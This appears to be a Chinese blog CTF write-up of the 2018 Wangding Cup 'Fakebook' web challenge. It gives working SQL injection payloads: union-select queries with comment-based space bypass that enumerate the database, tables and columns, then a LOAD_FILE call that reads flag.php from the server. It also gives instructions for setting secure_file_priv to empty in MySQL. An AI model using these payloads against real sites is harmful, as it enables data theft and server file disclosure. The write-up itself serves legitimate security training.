首页 > 其他分享 >[网鼎杯 2018]Fakebook

[网鼎杯 2018]Fakebook

时间:2024-07-31 17:16:56浏览次数:7  
标签:php no root 2018 MySQL 网鼎杯 Fakebook select view

[网鼎杯 2018]Fakebook

Step

注册用户进入发现查看用户详情:

/view.php?no=1

尝试修改为2

发现报错,可能是文件包含或者SQL注入

于是尝试改成:

/view.php?no=2'

回显:

[*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1)
...

应该是可以SQL注入

发现:

/view.php?no=1 order by 4
回显正常
/view.php?no=1 order by 5
回显:
[*] query error! (Unknown column '5' in 'order clause')
表明回显点应该是4个

payload:

(空格绕过:/**/或++)

库名:
/view.php?no=0/**/union/**/select/**/1,database(),3,4
fakebook

表名:
/view.php?no=0/**/union/**/select 1,group_concat(table_name),3,4 from information_schema.tables/**/where/**/table_schema='fakebook’
users

列名:
/view.php?no=0/**/union/**/select/**/1,group_concat(column_name),3,4/**/from /**/information_schema.columns/**/where/**/table_name='users'
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS	

字段值:
union/**/select/**/1,group_concat(passwd),3,4/**/from/**/users
尝试获取这些字段值发现不在这里

用户:
/view.php?no=0/**/union/**/select/**/1,user(),3,4
root@localhost	
发现是root用户

因为有root权限,尝试直接读取本地文件

SELECT LOAD_FILE('/flag.php');

所以payload:

/view.php?no=0/**/union/**/select/**/1,LOAD_FILE('/var/www/html/flag.php'),3,4

最初没看到flag,看了wp后发现在源代码里注释了,所以要多看源代码

数据库root用户读取本地文件

在大多数数据库系统中,出于安全原因,默认配置通常不允许数据库的root用户直接读取本地文件系统上的文件。然而,某些数据库管理系统(如MySQL或PostgreSQL)提供了特殊的函数或权限,允许数据库用户执行文件读取操作。

以下是在MySQL中允许root用户读取本地文件的步骤:

  1. 确保你的MySQL服务是以root用户运行的,或者你拥有足够的权限来修改服务器配置。
  2. 编辑MySQL的配置文件(通常是my.cnfmy.ini),在[mysqld]部分添加以下行:
[mysqld]
secure_file_priv=''

这将移除对secure_file_priv指令的限制,允许文件读写。

读取方式:

  1. 重启MySQL服务以应用更改。
  2. 使用root用户登录到MySQL,并使用以下命令来读取文件:
SELECT LOAD_FILE('/path/to/your/file.txt');

标签:php,no,root,2018,MySQL,网鼎杯,Fakebook,select,view
From: https://www.cnblogs.com/bolerat/p/18335054

相关文章

  • phpstudy_2016-2018_rce_backdoor漏洞复现
    phpstudy_2016-2018_rce_backdoor说明内容漏洞编号phpstudy_2016-2018_rce漏洞名称RCE(RemoteCommand|CodeExecute)漏洞评级高危影响范围phpStudy2016、phpStudy2018漏洞描述攻击者可以利用该漏洞执行PHP命令,也可以称作phpStudy后门。漏洞描述攻击者可以利用该漏......
  • 类型提示在 pycharm 2018.1 中并不总是有效?
    我今天开始使用类型提示。在阅读了有关类型提示的文档后,我尝试编写一些愚蠢的示例来检查它是如何工作的,但被困在像这样简单的事情上。a:int=7.33我没有收到任何警告或错误。一切都正常,就像我没有使用类型提示一样。我期待一个警告,说浮点数不能分配给intvar。我尝......
  • 题解:P4563 [JXOI2018] 守卫
    思路解法:区间DP。本题虽标上紫题,但黄队说了:“不要被颜色所吓倒。”易得,区间\([l,r]\)中最右端的亭子\(r\)一定会有保镖。先说一下可见性判断吧,只要\(l,r\)的连线的斜率大于\(p,r\)连成的线的斜率大,\(l\)即是可见的。如图,红线是\(r\)无法看到的,而蓝线是\(r\)可......
  • [网鼎杯 2020 青龙组]AreUSerialz
    [网鼎杯2020青龙组]AreUSerialz源代码蛮多的,但是题目没有那么复杂题目<?phpinclude("flag.php");highlight_file(__FILE__);classFileHandler{protected$op;protected$filename;protected$content;function__construct(){$op=......
  • [护网杯 2018]easy_tornado
    [护网杯2018]easy_tornadoStep靶机页面/flag.txt/welcome.txt/hints.txt其中:/flag.txtflagin/fllllllllllllag/hints.txtmd5(cookie_secret+md5(filename))链接url/file?filename=/welcome.txt&filehash=0d57a014b2bc88b9c6f12277495dwww其中filehash则是......
  • CVE-2018-5767 tenda固件栈溢出漏洞
    路由器固件型号:TendaAC1515.03.1.16_multi固件下载地址:https://drivers.softpedia.com/dyn-postdownload.php/d27e8410d32cd9de63a3506c47ded1bc/61ff85c5/75eb7/4/1binwalk分离binwalk-MeUS-bin漏洞点:在squashfs-root/bin/httpd可以通过readelf-hhttpd来查......
  • ccfcsp 201803.2 碰撞的小球 100分代码
    本题是一道小模拟规模小难度在碰撞检测在写模拟题时的思路应该是先找到应该储存的信息是哪些,抽象出来,应该模拟的方法是哪些。类似oop。includeusingnamespacestd;constintL=1000;structball{intp;chard=1;//只可能为1或-1,表示方向}b[L+1];intmain(){int......
  • 28449-2018 测评过程指南小结
    28449测评过程指南适用于测评机构、定级对象的主管部门及运营使用单位对定级对象安全等级保护状况开展安全测试评价等级测评工作要求:(附录C)1依据标准,遵循原则2恰当选取,保证强度3规范行为,规避风险存在的风险:(标准P1和课本108)1.影响系统正常运行2.泄露敏感信息3.......
  • [CEOI2018] Lottery 题解
    前言题目链接:洛谷。题意简述给出序列\(a_1\ldotsa_n\)和常数\(l\leqn\),定义:\[\operatorname{dis}(i,j)=\sum_{k=0}^{l-1}[a_{i+k}\neqa_{j+k}]\qquad(i,j\in[1,n-l+1])\]每次询问一个\(k\),求对于所有\(i\in[1,n-l+1]\),求\(\sum......
  • 交叉编译ethtool(ubuntu 2018)
    参考文章:https://www.cnblogs.com/nazhen/p/16800427.htmlhttps://blog.csdn.net/weixin_43128044/article/details/1379539131、下载相关安装包//ethtool依赖libmulgitclonehttp://git.netfilter.org/libmnl//ethtool源码gitclonehttp://git.kernel.org/pub/sc......